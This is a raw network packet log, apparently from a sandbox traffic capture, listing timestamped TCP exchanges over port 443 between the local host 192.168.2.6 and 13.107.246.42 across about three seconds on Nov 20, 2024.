Nov 20, 2024 08:12:45.152654886 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.152661085 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.164305925 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.180619001 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.180651903 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.187135935 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.187143087 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.250272989 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.250344038 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.250592947 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.282751083 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.285419941 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.285490990 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.285495996 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.285542011 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.303289890 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.303339958 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.304424047 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.304994106 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.305022001 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.310095072 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.310137987 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.310203075 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.310360909 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.310373068 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.310672045 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.310672045 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.310688019 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.310695887 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.312721014 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.312736988 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.314404964 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.314436913 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.314505100 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.315040112 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.315049887 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.319736004 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.319766998 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.319849014 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.319947958 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.319962025 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.940262079 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.941112995 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.941138983 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.941920042 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.941927910 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.954359055 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.960058928 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.960319996 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.960333109 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.960755110 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.960760117 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.960779905 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.960783958 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.961153984 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.961448908 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.961455107 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.961678028 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.961704969 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.962085009 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.962091923 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.978667974 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.979111910 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.979137897 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.979588032 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.979593992 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.040975094 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.041105986 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.041450024 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.041450024 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.041450024 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.044171095 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.044234991 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.044311047 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.044456959 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.044467926 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.056498051 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.056724072 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.056791067 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.056839943 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.056854963 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.056874037 CET	49894	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.056880951 CET	443	49894	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.059268951 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.059325933 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.059416056 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.059649944 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.059660912 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.061738968 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062192917 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062344074 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.062365055 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062376976 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.062385082 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062397957 CET	49892	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.062402964 CET	443	49892	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062624931 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062666893 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062711954 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.062755108 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.062772036 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.062787056 CET	49893	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.062793016 CET	443	49893	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.064647913 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.064714909 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.064749002 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.064774036 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.064794064 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.064961910 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.064961910 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.064985037 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.065030098 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.065052986 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.081909895 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.081957102 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.081998110 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.082056999 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.082165956 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.082166910 CET	49891	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.082187891 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.082200050 CET	443	49891	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.084270954 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.084302902 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.084404945 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.084549904 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.084558964 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.351804972 CET	49890	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.351840019 CET	443	49890	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.690614939 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.691174984 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.691195965 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.691721916 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.691729069 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.696736097 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.697417021 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.697441101 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.697829962 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.697838068 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.701185942 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.701621056 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.701649904 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.702017069 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.702024937 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.722453117 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.722934008 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.722963095 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.723238945 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.723246098 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.759985924 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.760324001 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.760350943 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.760792971 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.760801077 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.792259932 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.792810917 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.793054104 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.793107986 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.793133020 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.793147087 CET	49895	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.793159962 CET	443	49895	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.795835018 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.795877934 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.796130896 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.796252966 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.796266079 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.803755045 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.803817987 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.803905964 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.803956032 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.803972006 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.803987026 CET	49898	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.803992987 CET	443	49898	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.806117058 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.806158066 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.806240082 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.806376934 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.806389093 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.810419083 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.811099052 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.811172962 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.811285019 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.811300993 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.811325073 CET	49897	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.811330080 CET	443	49897	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.813211918 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.813229084 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.817050934 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.817178011 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.817188025 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.826766014 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.826941013 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.826987028 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.827018023 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.827033997 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.827044964 CET	49896	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.827050924 CET	443	49896	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.828917027 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.828953981 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.829031944 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.829154015 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.829163074 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.865643978 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.865818024 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.865853071 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.865911961 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.866017103 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.866039038 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.866064072 CET	49899	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.866070032 CET	443	49899	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.867983103 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.868017912 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:46.868168116 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.868309021 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:46.868320942 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.439356089 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.440519094 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.440545082 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.442394972 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.442403078 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.442711115 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.444128990 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.444154024 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.444515944 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.444523096 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.490962982 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.491420031 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.491453886 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.492197990 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.492204905 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.498249054 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.498789072 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.498800039 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.499361992 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.499367952 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.518749952 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.519380093 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.519421101 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.520039082 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.520047903 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.540518045 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.540556908 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.540595055 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.540601015 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.540640116 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.541213989 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.541239023 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.541251898 CET	49901	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.541258097 CET	443	49901	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.546058893 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.546103001 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.546155930 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.546689987 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.546704054 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.546941042 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.547158957 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.547199965 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.547256947 CET	49900	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.547271967 CET	443	49900	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.550945997 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.550986052 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.551033974 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.551959991 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.551980972 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.593857050 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.594131947 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.594192982 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.594197035 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.594268084 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.594964981 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.594985008 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.595000029 CET	49903	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.595005989 CET	443	49903	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.599215031 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.599252939 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.599298954 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.599628925 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.599641085 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.603144884 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.603230000 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.603272915 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.603372097 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.603383064 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.603400946 CET	49902	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.603408098 CET	443	49902	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.607430935 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.607465029 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.607512951 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.608145952 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.608158112 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.619117022 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.619323015 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.619369984 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.619513988 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.619530916 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.619543076 CET	49904	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.619549036 CET	443	49904	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.623140097 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.623167038 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:47.623222113 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.623431921 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:47.623444080 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.202048063 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.220159054 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.233335018 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.246750116 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.258060932 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.272599936 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.273667097 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.289307117 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.290991068 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.319365978 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.319392920 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.319891930 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.319897890 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.320357084 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.320373058 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.324568033 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.324574947 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.325150967 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.325174093 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.325311899 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.325318098 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.325695038 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.325700045 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.326236963 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.326242924 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.326654911 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.326664925 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.327164888 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.327171087 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.417483091 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.417577982 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.417614937 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.417620897 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.417655945 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.418163061 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.418180943 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.418190002 CET	49909	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.418196917 CET	443	49909	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.421478987 CET	443	49906	13.107.246.42	192.168.2.6
